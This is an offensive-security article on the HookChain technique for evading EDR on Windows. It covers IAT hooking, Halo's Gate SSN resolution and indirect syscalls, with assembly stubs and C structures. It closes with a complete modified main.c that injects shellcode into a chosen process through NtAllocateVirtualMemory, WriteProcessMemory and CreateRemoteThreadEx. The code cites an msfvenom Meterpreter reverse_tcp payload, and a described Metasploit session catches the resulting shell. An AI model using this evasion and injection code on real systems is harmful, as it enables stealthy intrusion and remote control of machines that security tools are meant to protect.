Hookchain Technique Introduction by Helvio Júnior (M4v3r1ck)

This technique was created by Helvio Júnior (M4v3r1ck). Here are his social media links:

This article is based on the paper published by the author: https://github.com/helviojunior/hookchain/blob/main/HookChain_en_v1.5.pdf


Abstract

In the current digital security ecosystem, where threats evolve rapidly and with complexity, companies developing Endpoint Detection and Response (EDR) solutions are in constant search for innovations that not only keep up but also anticipate emerging attack vectors. In this context, this article introduces the HookChain, a look from another perspective at widely known techniques, which when combined, provide an additional layer of sophisticated evasion against traditional EDR systems.

Through a precise combination of IAT Hooking techniques, dynamic SSN resolution, and indirect system calls, HookChain redirects the execution flow of Windows subsystems in a way that remains invisible to the vigilant eyes of EDRs that only act on Ntdll.dll, without requiring changes to the source code of the applications and malwares involved. This work not only challenges current conventions in cybersecurity but also sheds light on a promising path for future protection strategies, leveraging the understanding that continuous evolution is key to the effectiveness of digital security.

By developing and exploring the HookChain technique, this study significantly contributes to the body of knowledge in endpoint security, stimulating the development of more robust and adaptive solutions that can effectively address the ever-changing dynamics of digital threats. This work aspires to inspire deep reflection and advancement in the research and development of security technologies that are always several steps ahead of adversaries.


Known Bypasses

Regarding the bypass of hooks performed by EDR, there are several possible and publicly disclosed techniques, but they commonly boil down to the following methods:

  • Remapping of Ntdll.dll to obtain the original code or overwrite the function code in the previously mapped memory area.

  • Direct syscall calls (direct syscalls). A large portion of EDRs currently on the market centralize their monitoring point in user space by intercepting calls in ntdll.dll using the JMP technique. Thus, the user-mode hook bypass techniques publicly reported so far revolve around ntdll.dll.


Remapping of Ntdll.dll

The technique of remapping ntdll.dll, like other techniques, can have various variants. Generally, remapping consists of reading a complete copy of ntdll.dll (without the hooks), usually directly from disk, and then overwriting the memory area related to the intercepted functions.

Another common way to obtain a copy of ntdll.dll without interceptions is by creating a process in suspended mode and then reading the ntdll.dll from this process. As we have seen before, ntdll.dll is essential and crucial for the loading and execution of a new process. Thus, even in suspended mode, the process already holds a copy of ntdll.dll in its memory area, and since the process loading has not yet been completed, the EDR has not received the callback to inject its Hook DLL, leaving the copy of ntdll.dll in this process intact (without the hooks).


Direct Syscall

By far, the most common methodology for evading hooks inserted into ntdll.dll functions is the execution of direct syscall calls. This approach involves reconstructing the code of the desired function from ntdll.dll, as in the example below:

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, <SSN>
    syscall
    ret
NtAllocateVirtualMemory ENDP

Subsequently, in the C++ application, create the function definition:

EXTERN_C NTSTATUS NtAllocateVirtualMemory(
    HANDLE    ProcessHandle,
    PVOID     BaseAddress,
    ULONG     ZeroBits,
    PULONG    RegionSize,
    ULONG     AllocationType,
    ULONG     Protect
);

In this way, the application executes the SYSCALL instruction directly, without going through any of the Windows subsystem DLLs (User32.dll, Kernel32.dll, etc.) or through ntdll.dll, as illustrated in Figure 10 of the document.

This methodology has the advantage of evading all user-mode hooks since all execution control is within the application itself. However, there is a high probability of detection by the EDR due to some telemetry, such as:

  • Total process execution time.

  • Execution chain, where the EDR expects the function call to have come from the application, passed through Kernel32.dll, and then through ntdll.dll.

Besides the possibility of detection, there are other downsides to this methodology:

  • The need for manual mapping of each SSN (System Service Number) and its related function. As we have seen before, Windows changes these numbers at any time without prior notice.

  • A significant programming effort to port the desired codes that use Windows subsystem DLLs to use only native functions through direct syscall calls.

  • Low portability of pre-existing codes because there is a need to adjust the application's source code to use only native calls such as Nt... and Zw....


Indirect Syscalls

Indirect syscalls refer to a technique used to evade user-mode hooks, which are often employed by Endpoint Detection and Response (EDR) systems. Instead of making direct calls to the ntdll.dll functions (which are commonly hooked by EDRs), the application can utilize indirect methods to execute syscalls, bypassing the typical monitored flow.

This technique becomes important in scenarios where direct syscalls can be detected due to known patterns of behavior that are monitored by security solutions.

How Indirect Syscalls Work:

  1. Remapping ntdll.dll: The first step involves remapping a clean copy of ntdll.dll into the process. This copy is unhooked and free from the hooks introduced by EDR solutions.

  2. Finding Neighboring Syscalls: The indirect syscall technique often leverages the structure of neighboring syscalls. By analyzing the syscall number (SSN) of the hooked function and comparing it with nearby unhooked syscalls, the correct syscall can be identified and executed indirectly.

  3. Rebuilding Function Calls: Once the correct syscall is identified, the application rebuilds the syscall function using the assembly code responsible for invoking the syscall directly, bypassing the user-mode hooks.

Example of Indirect Syscall Assembly Code:

Here is an example of what the assembly code for an indirect syscall might look like:

NtAllocateVirtualMemory PROC
    mov r10, rcx                ; Move the first parameter into r10 (required for syscall calling convention)
    mov eax, <SSN>              ; Move the syscall number into eax
    syscall                     ; Execute the syscall
    ret                         ; Return from the function
NtAllocateVirtualMemory ENDP

This code snippet showcases the direct execution of a syscall by utilizing the system service number (SSN) corresponding to the desired function.

Benefits of Indirect Syscalls:

  1. EDR Evasion: By avoiding direct function calls in ntdll.dll, indirect syscalls can evade user-mode hooks, reducing the likelihood of detection by EDR systems.

  2. Customizable: Indirect syscall techniques can be customized to accommodate various syscalls, making them versatile for different applications.

  3. Lower Detection Rates: Because the call does not follow the typical pattern expected by monitoring tools, indirect syscalls can bypass signature-based detection.

Challenges:

  1. Complexity: Implementing indirect syscalls requires a deep understanding of the Windows internals and the syscall mechanisms.

  2. Maintenance: Since syscall numbers (SSNs) can change between Windows versions, maintaining this technique across different environments can be challenging.


Dynamic Resolution of SSN - Halo's Gate

Other techniques for dynamic resolution have been published over the past few years, such as Hell’s Gate (published in June 2020) and Halo’s Gate (published in April 2021) by Reenz0h from Sektor7.

Halo’s Gate, in general, follows this process:

  1. Locates the current address of the desired function within ntdll.dll.

  2. Reads the function's bytes (currently 32 bytes) and checks if the function's bytes match those of the assembly instructions (mov r10, rcx; mov eax, SSN).

  3. If these bytes are not present, it indicates that the function is being monitored (in other words, it has a hook set). However, neighboring functions (before and after) may not have a hook.

  4. It searches the neighboring functions (above and below) for functions without hooks and calculates the distance of the located function from the current function, thus determining the current function's SSN code.

Figure 1 in the document clearly demonstrates a hook in the NtWriteFile function, through the presence of the JMP instruction instead of mov r10, rcx. However, the neighboring functions ZwDeviceIoControlFile and ZwRemoveIoCompletion are not hooked, and their SSNs are 7 and 9, respectively. Therefore, it can be inferred that the SSN of the NtWriteFile function is 8.

Figure 2 displays a snippet of the code used by Halo’s Gate.

As defined by the author of the technique, Halo’s Gate is "like a wave in a lake – you start from the center and move towards the edges until you find a clean syscall." In other words, Halo’s Gate calculates the SSN number by looking at the neighboring numbers and adjusting accordingly. If the neighbors are also hooked, it checks the neighbors of its neighbors, and so on.


Hookchain Technique

In general, the HookChain technique follows this flow:

  1. Use of dynamic mapping techniques for the SSN, such as Halo's Gate.

  2. Mapping of some base functions for the next steps, such as:

    • NtAllocateReserveObject

    • NtAllocateVirtualMemory

    • NtQueryInformationProcess

    • NtProtectVirtualMemory

    • NtReadVirtualMemory

    • NtWriteVirtualMemory

  3. Creation and population of an array where each item contains:

    • SSN (System Service Number)

    • Function address in ntdll.dll

    • Memory address of the nearest SYSCALL instruction to the function in ntdll.dll

  4. Preloading other DLLs, if the application is expected to dynamically load and use another DLL that has not yet been loaded in the current process. This includes checking whether this DLL makes calls to functions in ntdll.dll.

  5. Use of indirect syscall with the functions mapped in step 2 to perform reading, enumeration, and manipulation of the export and import table structures of all loaded DLLs.

  6. Modification of the IAT of key DLLs that use calls to ntdll.dll such as kernel32, kernelbase, bcrypt, bcryptPrimitives, gdi32, mswsock, netutils, and urlmon. This step changes the destination address of the native Nt/Zw calls in the IAT to internal functions of our application. This means that when a subsystem DLL (e.g., kernel32) calls a function from ntdll.dll, the HookChain implant code will be executed instead, materializing the IAT Hook as described in section 2.3.2.

Once these actions are completed, the use of APIs and subsystems continues as usual, with the evasion layer already implemented. The calls to ntdll.dll will be carried out through the internal functions of our application, but transparently to the executing PE, as demonstrated in Figure 14.

This methodology evades all user-mode hooks performed on ntdll.dll because all execution control resides within the application itself. The advantages over other techniques include:

  • Reduced likelihood of detection by EDR due to the following telemetry rules:

    • Total execution time of the process: The execution time of the calls remains close to the original process.

    • Execution chain: The EDR expects the function call to have passed through kernel32.dll and then ntdll.dll. The HookChain implant passes transparently in the call stack, maintaining the expected flow (as detailed later).

  • Portability: No modifications are needed for existing code/applications since the interception occurs broadly and transparently to the executing application.


Data Structures and Tables

Struct SYSCALL_INFO

As previously mentioned, one of the first steps is to create an array that records various information used during execution. This array uses a structure called SYSCALL_INFO as follows:

typedef struct _SYSCALL_INFO {
    DWORD64 dwSsn;
    PVOID   pAddress;
    PVOID   pSyscallRet;
    PVOID   pStubFunction;
    DWORD64 dwHash;
} SYSCALL_INFO, * PSYSCALL_INFO;

Where:

  • dwSsn: Stores the Syscall number (SSN).

  • pAddress: Stores the virtual address of the function within ntdll.dll.

  • pSyscallRet: Stores the virtual address of a SYSCALL instruction within ntdll.dll.

  • pStubFunction: Stores the address of the HookChain interception function (implant). This is the address to which all calls to the function in question will be redirected. In other words, this is the address that will replace the virtual address of the ntdll function in the IAT.

  • dwHash: A hash for function identification, calculated from the name of the ntdll function. The function name is not stored to make identification by EDRs more difficult.


Struct SYSCALL_LIST

The SYSCALL_LIST structure holds a field that stores the number of current records in the table and an array with 512 positions containing records of the SYSCALL_INFO type.

#define MAX_ENTRIES 512

typedef struct _SYSCALL_LIST {
    DWORD64 Count;
    SYSCALL_INFO Entries[MAX_ENTRIES];
} SYSCALL_LIST, * PSYSCALL_LIST;

References and Indexes

The next data structure is a pointer to the .data section of our application, defined in Assembly as follows:

.data
qTableAddr QWORD 0h
qListEntrySize QWORD 28h
qStubEntrySize QWORD 14h

qIdx0 QWORD 0h
qIdx1 QWORD 0h
qIdx2 QWORD 0h
qIdx3 QWORD 0h
qIdx4 QWORD 0h
qIdx5 QWORD 0h

Where:

  • qTableAddr: Stores the virtual address of the SYSCALL_LIST table/struct instance.

  • qListEntrySize: Stores the size (in bytes) of each entry in the SYSCALL_LIST->Entries.

  • qStubEntrySize: Stores the size (in bytes) of each interception function used by HookChain.

  • qIdx0 - qIdx5: Variables that store the index of the following functions in the array: ZwOpenProcess, ZwProtectVirtualMemory, ZwReadVirtualMemory, ZwWriteVirtualMemory, ZwAllocateVirtualMemory, and ZwDelayExecution.


IAT Hook

Once the previous step is completed and the array is filled with the data of the native Nt/Zw functions, it is possible to proceed to the next phase, which involves modifying the IAT of all loaded DLLs.

However, if this procedure is carried out immediately, and a new dynamic library is loaded later that contains references to ntdll.dll in its IAT, it would be necessary to execute the IAT hook process for this DLL again. To avoid this reprocessing, it is recommended to load the necessary libraries before executing the IAT hook.


Pre-loading of DLLs

For example, if we are creating an artifact using HookChain, and after the HookChain implantation, we perform the injection and execution of a Portable Executable (PE) according to the ReflectiveDLLInjection technique, it is necessary to perform the IAT hook for the new DLLs that may have been loaded by ReflectiveDLLInjection. To avoid this process, it is recommended to map which DLLs the PE uses as references and which of these make direct calls to ntdll.dll, and to load and hook these DLLs in advance.

Below is a code snippet responsible for filling the array and performing the IAT hook on the kernel32 and kernelbase DLLs:

BOOL UnhookAll(_In_ HANDLE hProcess, _In_ LPCSTR imageName, _In_ BOOLEAN force);

BOOL InitApi(VOID) {
    if (!FillSyscallTable()) return FALSE;

    UnhookAll((HANDLE)-1, "kernel32", FALSE);
    UnhookAll((HANDLE)-1, "kernelbase", FALSE);

    return TRUE;
}

In this pre-loading scenario, it would suffice to add the desired DLLs as shown below:

BOOL UnhookAll(_In_ HANDLE hProcess, _In_ LPCSTR imageName, _In_ BOOLEAN force);

BOOL InitApi(VOID) {
    if (!FillSyscallTable()) return FALSE;

    UnhookAll((HANDLE)-1, "kernel32", FALSE);
    UnhookAll((HANDLE)-1, "kernelbase", FALSE);

    UnhookAll((HANDLE)-1, "bcryptPrimitives", TRUE);
    UnhookAll((HANDLE)-1, "ws2_32", TRUE);

    return TRUE;
} 

IAT Hook Process

The IAT hook procedure follows the same method detailed in section 2.3.2. In general, HookChain performs the following steps for the requested DLLs via the UnhookAll function:

  1. Listing all DLL dependencies in the IAT.

  2. Checking for references to ntdll.dll.

  3. Verifying if the referenced function is in the SyscallList.Entries array. If so, the IAT address is replaced with the address of an interception function created by HookChain, whose name is directly related to the item index in the SyscallList.Entries array.


Execution Flow

After completing the previous steps, all the necessary procedures for HookChain implantation are finalized. From this point on, all calls made to the Windows subsystems will be free from interceptions and monitoring by the EDR at the ntdll.dll level.

To understand this more deeply, the execution flow of the application after the HookChain implants can be described as follows:

  1. The application wants to create a new process using the CreateProcessW function available in the kernel32.dll API/subsystem.

  2. Since this specific function is implemented in kernelbase.dll, kernel32.dll simply redirects the execution flow to kernelbase.

  3. Within the CreateProcessW code in kernelbase.dll, after some parameter checks, it will reach the point of calling the ZwCreateUserProcess function from ntdll.dll.

  4. Instead of the original address of ZwCreateUserProcess, the kernelbase IAT now contains the address of the HookChain-implanted function.

  5. After obtaining the address of the deployed function, the CreateProcessW code calls this address instead of ZwCreateUserProcess in ntdll.dll, redirecting execution to HookChain's implanted function.

  6. HookChain's interception function searches in the SyscallList.Entries array for the information previously stored, such as the SSN and the address of the syscall instruction in ntdll.dll.

  7. With all the necessary information in hand, the HookChain code reproduces what would be done by the ntdll function and forwards the execution flow to the syscall instruction in ntdll.dll.

  8. At this point, the return address in the call stack will direct the flow back to the CreateProcessW function, maintaining the expected execution chain.


Hookchain in Practice

Download: https://github.com/helviojunior/hookchain

File: hook.c

Purpose:

The hook.c file implements the core functionality of the HookChain system. It focuses on intercepting and redirecting system calls (syscalls) to custom functions within target processes. This is achieved by manipulating the Import Address Table (IAT) of loaded DLLs in the process.

Technical Analysis of Functions:

  • InitApi():

    • Description: Initializes the HookChain by filling the syscall table (SyscallList) and setting up the hooks. It also preloads some essential DLLs to ensure that their functions are properly intercepted.

    • Technical Details: Calls FillSyscallTable() to populate the syscall list and uses ExecAddr() to process function addresses in several DLLs, such as kernel32, kernelbase, and user32.

  • FillSyscallTable():

    • Description: Maps all syscalls exported by ntdll.dll. It checks whether each syscall is being hooked by an Endpoint Detection and Response (EDR) solution and stores the necessary information to redirect those calls to custom functions.

    • Technical Details:

      • Hook Detection: The function examines the code of each syscall to identify if it is being hooked, for example, by checking for jmp instructions at the beginning of the function.

      • SSN: Utilizes the GetSSN() function to retrieve the System Service Number (SSN) for each function.

      • Duplicate Prevention: Ensures that no duplicate syscalls are added to the table.

  • ProcAllByAddr():

    • Description: Processes imported function calls by a DLL image and redirects those calls to the hooked functions.

    • Technical Details:

      • IAT Hooking: Maps the DLL's import table and replaces the function addresses with the hooked function addresses in HookChain.

      • Memory Allocation: Uses RtlAllocateHeapStub() to allocate memory in the process heap.

  • CurNtdll():

    • Description: Returns the base address of ntdll.dll in the current process or a clean version of it (without hooks) if available.

    • Technical Details: The function checks if ntdll.dll has been modified and, if necessary, retrieves a clean copy of the DLL, free from EDR interference.

  • FillStatic():

    • Description: Populates the static hook list with critical functions such as GetProcAddress, VirtualProtect, and ReadProcessMemory.

    • Technical Details: Defines the addresses of the functions that will be hooked and stores their hashes for quick identification.

Key Helper Functions:

  • GetSSN(): Retrieves the syscall number (SSN) for a specified function.

  • GetNextSyscallInstruction(): Returns the next syscall instruction address within a function, used for executing syscalls directly.

  • SetIdx(): Sets the index of a function in the syscall table.

  • SetAddr(): Sets the address of the hooked functions.


File: hook.h

Purpose:

The hook.h file defines data structures and function prototypes used in hook.c. It provides the necessary definitions for the syscall list, memory manipulation functions, and hook-related operations.

Important Structures:

  • SYSCALL_INFO:

    • Description: Stores information about a syscall, including its number (SSN), the function address, the syscall instruction address, and whether the function is hooked.

    • Fields:

      • dwSsn: Syscall number (SSN).

      • pAddress: Function address in ntdll.dll.

      • pSyscallRet: Address of the associated syscall instruction.

      • bIsHooked: Indicates whether the function is being hooked by an EDR.

  • MODULE_LIST:

    • Description: Stores information about loaded modules in the process, such as module addresses and hashes.

  • FUNCTION_CODE:

    • Description: Represents the code of the hooked function that will be executed when the hook is triggered.

Important Functions:

  • HGetProcAddress(): Custom function to retrieve the address of an exported function from a DLL, with hook support.

  • NtAllocateVirtualMemory(): Function definition for allocating virtual memory in the target process using direct syscall calls.

  • InjectMemory(): Function responsible for injecting shellcode into the target process.


File: hookchain.asm

Purpose:

This file contains Assembly code necessary for HookChain. It directly manipulates the execution flow at the syscall level, providing low-level functions for managing syscalls and hooks.

Implemented Functions:

  • NtAllocateVirtualMemoryStub: Stub function that redirects calls to NtAllocateVirtualMemory to the hooked function.

  • NtOpenProcessStub: Stub function that redirects calls to NtOpenProcess.

  • ExecAddr(): Assembly function that executes the redirected code after the hook is triggered.


File: main.c

Purpose:

This file contains the main code for the HookChain operation. It injects code into the target process and sets up the necessary environment for the hooks to function.

Technical Analysis of Functions:

  • wmain():

    • Description: The main entry point for HookChain. It initializes HookChain, retrieves the target process's PID, and performs the code injection.

    • Technical Details:

      • Shellcode Injection: Uses NtAllocateVirtualMemory to allocate memory in the target process and NtWriteVirtualMemory to inject the shellcode.

      • Remote Thread Creation: Creates a new thread in the target process using CreateRemoteThreadEx to execute the injected shellcode.

      • Injected Message: The function injects a message box (MessageBox) into the target process, demonstrating successful injection.


File: windows_common.h

Purpose:

This file provides definitions for common Windows structures and macros that are used to interact with processes, threads, and memory. It includes definitions for PEB, TEB, and other critical structures for process and low-level operations.

Key Definitions:

  • PEB: Describes the Process Environment Block, essential for accessing process-level information in kernel mode.

  • TEB: Describes the Thread Environment Block, used for managing thread-level information in Windows.

  • OBJECT_ATTRIBUTES: Structure used to describe attributes of Windows objects such as processes and files.


Execution Example #1 - MessageBox

The HookChain is in the process of being executed. The command prompt window shows the initialization of HookChain implants, with syscalls being hooked. The tasklist command has been used to identify the PID of notepad.exe, and a message box has been injected into the process displaying the text "Message Box created from HookChain."

The command prompt shows the HookChain implant details, including the hooking of various syscalls in multiple DLLs such as kernel32, kernelbase, and user32. The output shows how HookChain hooks functions like NtAllocateVirtualMemory and NtCreateThreadEx by modifying the IAT (Import Address Table) entries.

The HookChain tool completes its execution, having successfully hooked numerous functions across different DLLs. The final message confirms that HookChain has been implanted and displays a custom ASCII art logo. The tool then proceeds to create a handle to the target process, allocate memory, inject shellcode, and create a remote thread for execution.


Execution Example #2 - Altered to Shellcode Execution by Joas A Santos

Below is the breakdown of the main.c code changes, structured in sections suitable for a GitBook article. This explanation will be divided into logical parts to clearly explain the purpose and implementation of each modification.

Part 1: Process Identification and Initialization

NTSTATUS status;
PVOID shellAddress = NULL;
HANDLE hProcess = (HANDLE)-1;
DWORD dwPID = 0;

Explanation:

This section of the code defines variables that will be used throughout the injection process. Specifically:

  • status: Stores the result of various NT API calls.

  • shellAddress: Pointer to the memory location where the shellcode will be injected in the target process.

  • hProcess: Handle to the target process.

  • dwPID: Process ID of the target process.

The dwPID variable is initialized to 0, and its value will later be determined by the user input or the command-line arguments.

User Input for Process ID:

if (argc >= 2)
{
    dwPID = _wtoi(argv[1]);
    if (dwPID == 0)
        dwPID = atoi(argv[1]);
}

if (dwPID == 0) {
    char cPid[7];

    printf("Type the pid: \n");
    fgets(cPid, sizeof(cPid), stdin);
    dwPID = _wtoi(cPid);
    if (dwPID == 0)
        dwPID = atoi(cPid);
}

if (dwPID == 0) {
    printf("[!] Failed to get PID\n");
    return 1;
}

This section handles the process ID (PID) retrieval. The program first checks if the PID was passed as a command-line argument. If not, it prompts the user to input the PID manually. It uses both wide and regular character conversion functions (_wtoi and atoi) to ensure compatibility with different input formats.

If no valid PID is provided, the program terminates with an error.

Part 2: HookChain Initialization

printf("\n[+] Creating HookChain implants\n");
if (!InitApi()) {
    printf("[!] Failed to initialize API\n");
    return 1;
}
printf("\n[+] HookChain implanted! \\o/\n\n");

The InitApi() function is called to initialize the HookChain system. This function sets up the necessary hooks and syscall redirection mechanisms. If the initialization fails, the program outputs an error and terminates. Otherwise, it confirms successful implantation of HookChain.

Part 3: Process Handle Creation and Memory Allocation

printf("[*] Creating Handle onto PID %d\n", dwPID);

POBJECT_ATTRIBUTES objectAttributes = (POBJECT_ATTRIBUTES)RtlAllocateHeapStub(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(OBJECT_ATTRIBUTES));
PCLIENT_ID clientId = (PCLIENT_ID)RtlAllocateHeapStub(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(CLIENT_ID));
clientId->UniqueProcess = dwPID;
if (!NT_SUCCESS(NtOpenProcess(&hProcess, PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, objectAttributes, clientId))) {
    printf("[!] Failed to call OP: Status = 0x%08lx\n", GetLastError());
    return 1;
}

This block of code creates a handle to the target process using the NtOpenProcess() function. The handle is created with permissions that allow memory writing (PROCESS_VM_WRITE), memory operations (PROCESS_VM_OPERATION), and thread creation (PROCESS_CREATE_THREAD). The function uses OBJECT_ATTRIBUTES and CLIENT_ID structures to identify and interact with the target process.

If the handle creation fails, the program outputs an error message with the status code and terminates.

Memory Allocation:

printf("[*] Allocating memory at Handle 0x%p with READ_WRITE permissions\n", hProcess);

SIZE_T memSize = 0x1000;
if (!NT_SUCCESS(NtAllocateVirtualMemory(hProcess, &shellAddress, 0, &memSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) {
    printf("[!] Failed to call VA(shellAddress) with READ_WRITE permissions: Status = 0x%08lx\n", GetLastError());
    return 1;
}

The program allocates memory in the target process using NtAllocateVirtualMemory() with PAGE_READWRITE permissions. This allows the shellcode to be written into the allocated memory. The size of the allocated memory is set to 0x1000 (4 KB). If the memory allocation fails, the program outputs an error and terminates.

Part 4: Shellcode Injection and Memory Protection

Injecting Shellcode:

printf("[*] Injecting remote shellcode\n");

// Example shellcode to be executed (this is just a placeholder, replace with actual shellcode)
// msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=eth0 lport=4231 -f c
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
    // ... rest of the shellcode
};

if (!WriteProcessMemory(hProcess, shellAddress, (LPCVOID)shellcode, sizeof(shellcode), NULL)) {
    printf("[!] Failed to call WriteProcessMemory(Shellcode): Status = 0x%08lx\n", GetLastError());
    return 1;
}

This section injects the shellcode into the target process by writing it into the memory previously allocated with PAGE_READWRITE permissions. The shellcode is stored in the shellcode[] array. The WriteProcessMemory() function writes the shellcode into the allocated memory region. If the writing process fails, the program outputs an error and terminates.

Changing Memory Protection to Execute the Shellcode:

printf("[*] Changing memory permissions to READ_EXECUTE\n");

ULONG oldProtect;
if (!NT_SUCCESS(NtProtectVirtualMemory(hProcess, &shellAddress, &memSize, PAGE_EXECUTE_READ, &oldProtect))) {
    printf("[!] Failed to change memory permissions to READ_EXECUTE: Status = 0x%08lx\n", GetLastError());
    return 1;
}

Once the shellcode has been written to the memory, the program changes the memory protection from PAGE_READWRITE to PAGE_EXECUTE_READ using NtProtectVirtualMemory(). This step is necessary to allow the shellcode to be executed in the target process. If the memory protection change fails, the program outputs an error and terminates.

Part 5: Shellcode Execution and Cleanup

printf("[*] Calling CreateRemoteThreadEx to execute the shellcode\n");
HANDLE hThread = CreateRemoteThreadEx(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)shellAddress, NULL, NULL, NULL, NULL);
if (hThread == NULL) {
    printf("[!] Failed to call CRT: Status = 0x%08lx\n", GetLastError());
    return 1;
}

// Disable Hook prints
SetDebug(FALSE);

printf("[+] Shellcode OK!\n");
printf("[+] Altered by Joas A Santos!\n");

The CreateRemoteThreadEx() function is used to create a remote thread in the target process that starts execution at the shellAddress. This function effectively launches the injected shellcode in the target process. If the thread creation fails, the program outputs an error and terminates.

The program then disables any debug printing by calling SetDebug(FALSE) and confirms successful execution of the shellcode.

The image shows a combination of a Metasploit terminal window on the left and the execution of the HookChain implant on the right.

  • Left Side (Metasploit Terminal):

    • The user is setting up a Metasploit multi/handler to catch a reverse TCP shell. The payload used is windows/x64/meterpreter/reverse_tcp.

    • The user sets the local host (LHOST) to eth0 and the local port (LPORT) to 4231.

    • After running the handler, Metasploit successfully catches a reverse shell from the target machine (192.168.15.7), establishing a Meterpreter session.

  • Right Side (Command Prompt - HookChain Execution):

    • The HookChain implant process is displayed, showing the hooking of various functions and system calls within DLLs like ntdll.dll, ws2_32.dll, and others.

    • HookChain then proceeds to inject shellcode into a process with PID 1468. It allocates memory with READ_WRITE permissions, writes the shellcode into the allocated memory, changes the memory permissions to READ_EXECUTE, and finally executes the shellcode via CreateRemoteThreadEx.

    • The process completes successfully, confirming that the shellcode has been executed with a "Shellcode OK!" message.

Complete main.c

#pragma once

#include <stdio.h>
#include <Windows.h>

#include "hook.h"

INT wmain(int argc, char* argv[])
{
    NTSTATUS status;
    PVOID shellAddress = NULL;
    HANDLE hProcess = (HANDLE)-1;
    DWORD dwPID = 0;

    if (argc >= 2)
    {
        dwPID = _wtoi(argv[1]);
        if (dwPID == 0)
            dwPID = atoi(argv[1]);
    }

    if (dwPID == 0) {
        char cPid[7];

        printf("Type the pid: \n");
        fgets(cPid, sizeof(cPid), stdin);
        dwPID = _wtoi(cPid);
        if (dwPID == 0)
            dwPID = atoi(cPid);
    }

    if (dwPID == 0) {
        printf("[!] Failed to get PID\n");
        return 1;
    }

    printf("\n[+] Creating HookChain implants\n");
    if (!InitApi()) {
        printf("[!] Failed to initialize API\n");
        return 1;
    }

    printf("\n[+] HookChain implanted! \\o/\n\n");

    printf("[*] Creating Handle onto PID %d\n", dwPID);

    POBJECT_ATTRIBUTES objectAttributes = (POBJECT_ATTRIBUTES)RtlAllocateHeapStub(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(OBJECT_ATTRIBUTES));
    PCLIENT_ID clientId = (PCLIENT_ID)RtlAllocateHeapStub(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(CLIENT_ID));
    clientId->UniqueProcess = dwPID;
    if (!NT_SUCCESS(NtOpenProcess(&hProcess, PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, objectAttributes, clientId))) {
        printf("[!] Failed to call OP: Status = 0x%08lx\n", GetLastError());
        return 1;
    }

    printf("[*] Allocating memory at Handle 0x%p with READ_WRITE permissions\n", hProcess);

    SIZE_T memSize = 0x1000;
    if (!NT_SUCCESS(NtAllocateVirtualMemory(hProcess, &shellAddress, 0, &memSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) {
        printf("[!] Failed to call VA(shellAddress) with READ_WRITE permissions: Status = 0x%08lx\n", GetLastError());
        return 1;
    }

    printf("[*] Injecting remote shellcode\n");

    // Example shellcode to be executed (this is just a placeholder, replace with actual shellcode)
    // msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=eth0 lport=4231 -f c
    unsigned char shellcode[] = {
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
        // ... rest of the shellcode
    };

    if (!WriteProcessMemory(hProcess, shellAddress, (LPCVOID)shellcode, sizeof(shellcode), NULL)) {
        printf("[!] Failed to call WriteProcessMemory(Shellcode): Status = 0x%08lx\n", GetLastError());
        return 1;
    }

    printf("[*] Changing memory permissions to READ_EXECUTE\n");

    ULONG oldProtect;
    if (!NT_SUCCESS(NtProtectVirtualMemory(hProcess, &shellAddress, &memSize, PAGE_EXECUTE_READ, &oldProtect))) {
        printf("[!] Failed to change memory permissions to READ_EXECUTE: Status = 0x%08lx\n", GetLastError());
        return 1;
    }

    printf("[*] Calling CreateRemoteThreadEx to execute the shellcode\n");
    HANDLE hThread = CreateRemoteThreadEx(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)shellAddress, NULL, NULL, NULL, NULL);
    if (hThread == NULL) {
        printf("[!] Failed to call CRT: Status = 0x%08lx\n", GetLastError());
        return 1;
    }

    //Disable Hook prints
    SetDebug(FALSE);

    printf("[+] Shellcode OK!\n");
    printf("[+] Altered by Joas A Santos!\n");
    printf("\n\n _     _  _____   _____  _     _ _______ _     _ _______ _____ __   _\n |_____| |     | |     | |____/  |       |_____| |_____|   |   | \\  |\n |     | |_____| |_____| |    \\_ |_____  |     | |     | __|__ |  \\_|\n                                                          By M4v3r1ck\n\n");
    return 0x00;

}

Last updated